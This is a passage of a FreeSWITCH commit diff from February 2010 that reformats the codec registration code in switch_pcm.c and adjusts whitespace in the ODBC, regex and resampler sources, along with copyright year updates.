int name_len = 256;
char **names;
char **vals;
int y = 0;
-
+
result = SQLFetch(stmt);
if (result != SQL_SUCCESS) {
- if (result != SQL_NO_DATA){
+ if (result != SQL_NO_DATA) {
err_cnt++;
}
break;
@@ -535,14 +532,14 @@
free(names);
free(vals);
}
-
+
SQLFreeHandle(SQL_HANDLE_STMT, stmt);
if (!err_cnt) {
return SWITCH_ODBC_SUCCESS;
}
- error:
+ error:
if (stmt) {
err_str = switch_odbc_handle_get_error(handle, stmt);
@@ -557,7 +554,6 @@
free(err_str);
}
}
-
#endif
return SWITCH_ODBC_FAIL;
Modified: freeswitch/trunk/src/switch_pcm.c (16578 => 16579)
--- freeswitch/trunk/src/switch_pcm.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_pcm.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -59,7 +59,8 @@
switch_codec_t *other_codec,
void *decoded_data,
uint32_t decoded_data_len,
- uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate, unsigned int *flag)
+ uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+ unsigned int *flag)
{
/* NOOP indicates that the audio in is already the same as the audio out, so no conversion was necessary. */
if (codec && other_codec && codec->implementation && other_codec->implementation &&
@@ -75,7 +76,8 @@
switch_codec_t *other_codec,
void *encoded_data,
uint32_t encoded_data_len,
- uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate, unsigned int *flag)
+ uint32_t encoded_rate, void *decoded_data, uint32_t *decoded_data_len, uint32_t *decoded_rate,
+ unsigned int *flag)
{
if (codec && other_codec && codec->implementation && other_codec->implementation &&
codec->implementation->actual_samples_per_second != other_codec->implementation->actual_samples_per_second) {
@@ -266,55 +268,51 @@
}
-static void mod_g711_load(switch_loadable_module_interface_t **module_interface, switch_memory_pool_t *pool)
+static void mod_g711_load(switch_loadable_module_interface_t ** module_interface, switch_memory_pool_t *pool)
{
switch_codec_interface_t *codec_interface;
int mpf = 10000, spf = 80, bpf = 160, ebpf = 80, count;
SWITCH_ADD_CODEC(codec_interface, "G.711 ulaw");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 0, /* the IANA code number */
- "PCMU", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 64000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- spf * count, /* number of frames per network packet */
- switch_g711u_init, /* function to initialize a codec handle using this implementation */
- switch_g711u_encode, /* function to encode raw data into encoded data */
- switch_g711u_decode, /* function to decode encoded data into raw data */
- switch_g711u_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 0, /* the IANA code number */
+ "PCMU", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 64000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ spf * count, /* number of frames per network packet */
+ switch_g711u_init, /* function to initialize a codec handle using this implementation */
+ switch_g711u_encode, /* function to encode raw data into encoded data */
+ switch_g711u_decode, /* function to decode encoded data into raw data */
+ switch_g711u_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "G.711 alaw");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 8, /* the IANA code number */
- "PCMA", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 64000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- spf * count, /* number of frames per network packet */
- switch_g711a_init, /* function to initialize a codec handle using this implementation */
- switch_g711a_encode, /* function to encode raw data into encoded data */
- switch_g711a_decode, /* function to decode encoded data into raw data */
- switch_g711a_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 8, /* the IANA code number */
+ "PCMA", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 64000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ spf * count, /* number of frames per network packet */
+ switch_g711a_init, /* function to initialize a codec handle using this implementation */
+ switch_g711a_encode, /* function to encode raw data into encoded data */
+ switch_g711a_decode, /* function to decode encoded data into raw data */
+ switch_g711a_destroy); /* deinitalize a codec handle using this implementation */
}
}
@@ -328,45 +326,43 @@
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_CODEC(codec_interface, "PROXY VIDEO PASS-THROUGH");
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_VIDEO, /* enumeration defining the type of the codec */
- 31, /* the IANA code number */
- "PROXY-VID", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 90000, /* samples transferred per second */
- 90000, /* actual samples transferred per second */
- 0, /* bits transferred per second */
- 0, /* number of microseconds per frame */
- 0, /* number of samples per frame */
- 0, /* number of bytes per frame decompressed */
- 0, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_proxy_init, /* function to initialize a codec handle using this implementation */
- switch_proxy_encode, /* function to encode raw data into encoded data */
- switch_proxy_decode, /* function to encode raw data into encoded data */
- switch_proxy_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_VIDEO, /* enumeration defining the type of the codec */
+ 31, /* the IANA code number */
+ "PROXY-VID", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 90000, /* samples transferred per second */
+ 90000, /* actual samples transferred per second */
+ 0, /* bits transferred per second */
+ 0, /* number of microseconds per frame */
+ 0, /* number of samples per frame */
+ 0, /* number of bytes per frame decompressed */
+ 0, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_proxy_init, /* function to initialize a codec handle using this implementation */
+ switch_proxy_encode, /* function to encode raw data into encoded data */
+ switch_proxy_decode, /* function to encode raw data into encoded data */
+ switch_proxy_destroy); /* deinitalize a codec handle using this implementation */
SWITCH_ADD_CODEC(codec_interface, "PROXY PASS-THROUGH");
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 0, /* the IANA code number */
- "PROXY", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 0, /* bits transferred per second */
- 20000, /* number of microseconds per frame */
- 160, /* number of samples per frame */
- 320, /* number of bytes per frame decompressed */
- 320, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_proxy_init, /* function to initialize a codec handle using this implementation */
- switch_proxy_encode, /* function to encode raw data into encoded data */
- switch_proxy_decode, /* function to decode encoded data into raw data */
- switch_proxy_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 0, /* the IANA code number */
+ "PROXY", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 0, /* bits transferred per second */
+ 20000, /* number of microseconds per frame */
+ 160, /* number of samples per frame */
+ 320, /* number of bytes per frame decompressed */
+ 320, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_proxy_init, /* function to initialize a codec handle using this implementation */
+ switch_proxy_encode, /* function to encode raw data into encoded data */
+ switch_proxy_decode, /* function to decode encoded data into raw data */
+ switch_proxy_destroy); /* deinitalize a codec handle using this implementation */
SWITCH_ADD_CODEC(codec_interface, "RAW Signed Linear (16 bit)");
@@ -394,29 +390,28 @@
ms_per_frame = 20000;
for (x = 0; x < 5; x++) {
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 10, /* the IANA code number */
- "L16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 12000, /* samples transferred per second */
- 12000, /* actual samples transferred per second */
- 192000, /* bits transferred per second */
- ms_per_frame, /* number of microseconds per frame */
- samples_per_frame, /* number of samples per frame */
- bytes_per_frame, /* number of bytes per frame decompressed */
- bytes_per_frame, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_raw_init, /* function to initialize a codec handle using this implementation */
- switch_raw_encode, /* function to encode raw data into encoded data */
- switch_raw_decode, /* function to decode encoded data into raw data */
- switch_raw_destroy); /* deinitalize a codec handle using this implementation */
-
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 10, /* the IANA code number */
+ "L16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 12000, /* samples transferred per second */
+ 12000, /* actual samples transferred per second */
+ 192000, /* bits transferred per second */
+ ms_per_frame, /* number of microseconds per frame */
+ samples_per_frame, /* number of samples per frame */
+ bytes_per_frame, /* number of bytes per frame decompressed */
+ bytes_per_frame, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_raw_init, /* function to initialize a codec handle using this implementation */
+ switch_raw_encode, /* function to encode raw data into encoded data */
+ switch_raw_decode, /* function to decode encoded data into raw data */
+ switch_raw_destroy); /* deinitalize a codec handle using this implementation */
+
samples_per_frame += 240;
bytes_per_frame += 480;
ms_per_frame += 20000;
-
+
}
samples_per_frame = 480;
@@ -424,29 +419,28 @@
ms_per_frame = 20000;
for (x = 0; x < 3; x++) {
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 10, /* the IANA code number */
- "L16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 24000, /* samples transferred per second */
- 24000, /* actual samples transferred per second */
- 384000, /* bits transferred per second */
- ms_per_frame, /* number of microseconds per frame */
- samples_per_frame, /* number of samples per frame */
- bytes_per_frame, /* number of bytes per frame decompressed */
- bytes_per_frame, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_raw_init, /* function to initialize a codec handle using this implementation */
- switch_raw_encode, /* function to encode raw data into encoded data */
- switch_raw_decode, /* function to decode encoded data into raw data */
- switch_raw_destroy); /* deinitalize a codec handle using this implementation */
-
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 10, /* the IANA code number */
+ "L16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 24000, /* samples transferred per second */
+ 24000, /* actual samples transferred per second */
+ 384000, /* bits transferred per second */
+ ms_per_frame, /* number of microseconds per frame */
+ samples_per_frame, /* number of samples per frame */
+ bytes_per_frame, /* number of bytes per frame decompressed */
+ bytes_per_frame, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_raw_init, /* function to initialize a codec handle using this implementation */
+ switch_raw_encode, /* function to encode raw data into encoded data */
+ switch_raw_decode, /* function to decode encoded data into raw data */
+ switch_raw_destroy); /* deinitalize a codec handle using this implementation */
+
samples_per_frame += 480;
bytes_per_frame += 960;
ms_per_frame += 20000;
-
+
}
/* these formats below are for file playing. */
@@ -456,29 +450,28 @@
ms_per_frame = 2000;
for (x = 0; x < 5; x++) {
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 10, /* the IANA code number */
- "L16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 48000, /* samples transferred per second */
- 48000, /* actual samples transferred per second */
- 768000, /* bits transferred per second */
- ms_per_frame, /* number of microseconds per frame */
- samples_per_frame, /* number of samples per frame */
- bytes_per_frame, /* number of bytes per frame decompressed */
- bytes_per_frame, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_raw_init, /* function to initialize a codec handle using this implementation */
- switch_raw_encode, /* function to encode raw data into encoded data */
- switch_raw_decode, /* function to decode encoded data into raw data */
- switch_raw_destroy); /* deinitalize a codec handle using this implementation */
-
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 10, /* the IANA code number */
+ "L16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 48000, /* samples transferred per second */
+ 48000, /* actual samples transferred per second */
+ 768000, /* bits transferred per second */
+ ms_per_frame, /* number of microseconds per frame */
+ samples_per_frame, /* number of samples per frame */
+ bytes_per_frame, /* number of bytes per frame decompressed */
+ bytes_per_frame, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_raw_init, /* function to initialize a codec handle using this implementation */
+ switch_raw_encode, /* function to encode raw data into encoded data */
+ switch_raw_decode, /* function to decode encoded data into raw data */
+ switch_raw_destroy); /* deinitalize a codec handle using this implementation */
+
samples_per_frame += 96;
bytes_per_frame += 192;
ms_per_frame += 2000;
-
+
}
@@ -487,29 +480,28 @@
ms_per_frame = 2000;
for (x = 0; x < 4; x++) {
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 10, /* the IANA code number */
- "L16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 128000, /* bits transferred per second */
- ms_per_frame, /* number of microseconds per frame */
- samples_per_frame, /* number of samples per frame */
- bytes_per_frame, /* number of bytes per frame decompressed */
- bytes_per_frame, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_raw_init, /* function to initialize a codec handle using this implementation */
- switch_raw_encode, /* function to encode raw data into encoded data */
- switch_raw_decode, /* function to decode encoded data into raw data */
- switch_raw_destroy); /* deinitalize a codec handle using this implementation */
-
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 10, /* the IANA code number */
+ "L16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 128000, /* bits transferred per second */
+ ms_per_frame, /* number of microseconds per frame */
+ samples_per_frame, /* number of samples per frame */
+ bytes_per_frame, /* number of bytes per frame decompressed */
+ bytes_per_frame, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_raw_init, /* function to initialize a codec handle using this implementation */
+ switch_raw_encode, /* function to encode raw data into encoded data */
+ switch_raw_decode, /* function to decode encoded data into raw data */
+ switch_raw_destroy); /* deinitalize a codec handle using this implementation */
+
samples_per_frame += 16;
bytes_per_frame += 32;
ms_per_frame += 2000;
-
+
}
samples_per_frame = 32;
@@ -517,60 +509,58 @@
ms_per_frame = 2000;
for (x = 0; x < 4; x++) {
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 10, /* the IANA code number */
- "L16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 16000, /* samples transferred per second */
- 16000, /* actual samples transferred per second */
- 256000, /* bits transferred per second */
- ms_per_frame, /* number of microseconds per frame */
- samples_per_frame, /* number of samples per frame */
- bytes_per_frame, /* number of bytes per frame decompressed */
- bytes_per_frame, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_raw_init, /* function to initialize a codec handle using this implementation */
- switch_raw_encode, /* function to encode raw data into encoded data */
- switch_raw_decode, /* function to decode encoded data into raw data */
- switch_raw_destroy); /* deinitalize a codec handle using this implementation */
-
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 10, /* the IANA code number */
+ "L16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 16000, /* samples transferred per second */
+ 16000, /* actual samples transferred per second */
+ 256000, /* bits transferred per second */
+ ms_per_frame, /* number of microseconds per frame */
+ samples_per_frame, /* number of samples per frame */
+ bytes_per_frame, /* number of bytes per frame decompressed */
+ bytes_per_frame, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_raw_init, /* function to initialize a codec handle using this implementation */
+ switch_raw_encode, /* function to encode raw data into encoded data */
+ switch_raw_decode, /* function to decode encoded data into raw data */
+ switch_raw_destroy); /* deinitalize a codec handle using this implementation */
+
samples_per_frame += 32;
bytes_per_frame += 64;
ms_per_frame += 2000;
-
+
}
samples_per_frame = 64;
bytes_per_frame = 128;
ms_per_frame = 2000;
-
+
for (x = 0; x < 4; x++) {
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 10, /* the IANA code number */
- "L16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 32000, /* samples transferred per second */
- 32000, /* actual samples transferred per second */
- 512000, /* bits transferred per second */
- ms_per_frame, /* number of microseconds per frame */
- samples_per_frame, /* number of samples per frame */
- bytes_per_frame, /* number of bytes per frame decompressed */
- bytes_per_frame, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_raw_init, /* function to initialize a codec handle using this implementation */
- switch_raw_encode, /* function to encode raw data into encoded data */
- switch_raw_decode, /* function to decode encoded data into raw data */
- switch_raw_destroy); /* deinitalize a codec handle using this implementation */
-
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 10, /* the IANA code number */
+ "L16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 32000, /* samples transferred per second */
+ 32000, /* actual samples transferred per second */
+ 512000, /* bits transferred per second */
+ ms_per_frame, /* number of microseconds per frame */
+ samples_per_frame, /* number of samples per frame */
+ bytes_per_frame, /* number of bytes per frame decompressed */
+ bytes_per_frame, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_raw_init, /* function to initialize a codec handle using this implementation */
+ switch_raw_encode, /* function to encode raw data into encoded data */
+ switch_raw_decode, /* function to decode encoded data into raw data */
+ switch_raw_destroy); /* deinitalize a codec handle using this implementation */
+
samples_per_frame += 64;
bytes_per_frame += 128;
ms_per_frame += 2000;
-
+
}
samples_per_frame = 960;
@@ -578,66 +568,63 @@
ms_per_frame = 20000;
/* 10ms is already registered */
for (x = 0; x < 3; x++) {
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 10, /* the IANA code number */
- "L16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 48000, /* samples transferred per second */
- 48000, /* actual samples transferred per second */
- 768000, /* bits transferred per second */
- ms_per_frame, /* number of microseconds per frame */
- samples_per_frame, /* number of samples per frame */
- bytes_per_frame, /* number of bytes per frame decompressed */
- bytes_per_frame, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_raw_init, /* function to initialize a codec handle using this implementation */
- switch_raw_encode, /* function to encode raw data into encoded data */
- switch_raw_decode, /* function to decode encoded data into raw data */
- switch_raw_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 10, /* the IANA code number */
+ "L16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 48000, /* samples transferred per second */
+ 48000, /* actual samples transferred per second */
+ 768000, /* bits transferred per second */
+ ms_per_frame, /* number of microseconds per frame */
+ samples_per_frame, /* number of samples per frame */
+ bytes_per_frame, /* number of bytes per frame decompressed */
+ bytes_per_frame, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_raw_init, /* function to initialize a codec handle using this implementation */
+ switch_raw_encode, /* function to encode raw data into encoded data */
+ switch_raw_decode, /* function to decode encoded data into raw data */
+ switch_raw_destroy); /* deinitalize a codec handle using this implementation */
samples_per_frame += 480;
bytes_per_frame += 960;
ms_per_frame += 10000;
}
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 10, /* the IANA code number */
- "L16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 22050, /* samples transferred per second */
- 22050, /* actual samples transferred per second */
- 352800, /* bits transferred per second */
- 20000, /* number of microseconds per frame */
- 441, /* number of samples per frame */
- 882, /* number of bytes per frame decompressed */
- 882, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_raw_init, /* function to initialize a codec handle using this implementation */
- switch_raw_encode, /* function to encode raw data into encoded data */
- switch_raw_decode, /* function to decode encoded data into raw data */
- switch_raw_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 10, /* the IANA code number */
+ "L16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 22050, /* samples transferred per second */
+ 22050, /* actual samples transferred per second */
+ 352800, /* bits transferred per second */
+ 20000, /* number of microseconds per frame */
+ 441, /* number of samples per frame */
+ 882, /* number of bytes per frame decompressed */
+ 882, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_raw_init, /* function to initialize a codec handle using this implementation */
+ switch_raw_encode, /* function to encode raw data into encoded data */
+ switch_raw_decode, /* function to decode encoded data into raw data */
+ switch_raw_destroy); /* deinitalize a codec handle using this implementation */
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 10, /* the IANA code number */
- "L16", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 11025, /* samples transferred per second */
- 11025, /* actual samples transferred per second */
- 176400, /* bits transferred per second */
- 40000, /* number of microseconds per frame */
- 441, /* number of samples per frame */
- 882, /* number of bytes per frame decompressed */
- 882, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_raw_init, /* function to initialize a codec handle using this implementation */
- switch_raw_encode, /* function to encode raw data into encoded data */
- switch_raw_decode, /* function to decode encoded data into raw data */
- switch_raw_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 10, /* the IANA code number */
+ "L16", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 11025, /* samples transferred per second */
+ 11025, /* actual samples transferred per second */
+ 176400, /* bits transferred per second */
+ 40000, /* number of microseconds per frame */
+ 441, /* number of samples per frame */
+ 882, /* number of bytes per frame decompressed */
+ 882, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_raw_init, /* function to initialize a codec handle using this implementation */
+ switch_raw_encode, /* function to encode raw data into encoded data */
+ switch_raw_decode, /* function to decode encoded data into raw data */
+ switch_raw_destroy); /* deinitalize a codec handle using this implementation */
Modified: freeswitch/trunk/src/switch_regex.c (16578 => 16579)
--- freeswitch/trunk/src/switch_regex.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_regex.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -71,7 +71,7 @@
expression = abuf;
}
}
-
+
if (*expression == '/') {
char *opts = NULL;
tmp = strdup(expression + 1);
@@ -153,7 +153,7 @@
if (num < 0 || num > 256) {
num = -1;
}
-
+
if (pcre_copy_substring(field_data, ovector, match_count, num, replace, sizeof(replace)) > 0) {
switch_size_t r;
for (r = 0; r < strlen(replace); r++) {
@@ -168,7 +168,7 @@
substituted[y++] = '\0';
}
-SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int * partial)
+SWITCH_DECLARE(switch_status_t) switch_regex_match_partial(const char *target, const char *expression, int *partial)
{
const char *error = NULL; /* Used to hold any errors */
int error_offset = 0; /* Holds the offset of an error */
@@ -176,7 +176,7 @@
int match_count = 0; /* Number of times the regex was matched */
int offset_vectors[255]; /* not used, but has to exist or pcre won't even try to find a match */
int pcre_flags = 0;
-
+
/* Compile the expression */
pcre_prepared = pcre_compile(expression, 0, &error, &error_offset, NULL);
@@ -194,13 +194,14 @@
/* We definitely didn't match anything */
return SWITCH_STATUS_FALSE;
}
-
+
if (*partial) {
pcre_flags = PCRE_PARTIAL;
}
-
+
/* So far so good, run the regex */
- match_count = pcre_exec(pcre_prepared, NULL, target, (int) strlen(target), 0, pcre_flags, offset_vectors, sizeof(offset_vectors) / sizeof(offset_vectors[0]));
+ match_count =
+ pcre_exec(pcre_prepared, NULL, target, (int) strlen(target), 0, pcre_flags, offset_vectors, sizeof(offset_vectors) / sizeof(offset_vectors[0]));
/* Clean up */
if (pcre_prepared) {
Modified: freeswitch/trunk/src/switch_resample.c (16578 => 16579)
--- freeswitch/trunk/src/switch_resample.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_resample.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -53,18 +53,16 @@
#define resample_buffer(a, b, c) a > b ? ((a / 1000) / 2) * c : ((b / 1000) / 2) * c
SWITCH_DECLARE(switch_status_t) switch_resample_perform_create(switch_audio_resampler_t **new_resampler,
- uint32_t from_rate, uint32_t to_rate,
+ uint32_t from_rate, uint32_t to_rate,
uint32_t to_size,
- int quality,
- uint32_t channels,
- const char *file, const char *func, int line)
+ int quality, uint32_t channels, const char *file, const char *func, int line)
{
int err = 0;
switch_audio_resampler_t *resampler;
double lto_rate, lfrom_rate;
switch_zmalloc(resampler, sizeof(*resampler));
-
+
resampler->resampler = speex_resampler_init(channels ? channels : 1, from_rate, to_rate, quality, &err);
if (!resampler->resampler) {
@@ -74,11 +72,11 @@
*new_resampler = resampler;
lto_rate = (double) resampler->to_rate;
- lfrom_rate = (double) resampler->from_rate;
+ lfrom_rate = (double) resampler->from_rate;
resampler->from_rate = from_rate;
- resampler->to_rate = to_rate;
- resampler->factor = (lto_rate / lfrom_rate);
- resampler->rfactor = (lfrom_rate / lto_rate);
+ resampler->to_rate = to_rate;
+ resampler->factor = (lto_rate / lfrom_rate);
+ resampler->rfactor = (lfrom_rate / lto_rate);
resampler->to_size = resample_buffer(to_rate, from_rate, (uint32_t) to_size);
resampler->to = malloc(resampler->to_size * sizeof(int16_t));
@@ -195,7 +193,7 @@
for (i = 0; i < samples; i++, sum_rnd = 0) {
for (x = 0; x < 6; x++) {
rnd2 = rnd2 * 31821U + 13849U;
- sum_rnd += rnd2 ;
+ sum_rnd += rnd2;
}
//switch_normalize_to_16bit(sum_rnd);
*data = (int16_t) ((int16_t) sum_rnd / (int) divisor);
@@ -217,7 +215,7 @@
for (i = 0; i < samples; i++, sum_rnd = 0) {
for (x = 0; x < 10; x++) {
- rnd = rnd + (int16_t)((x + i) * rnd2);
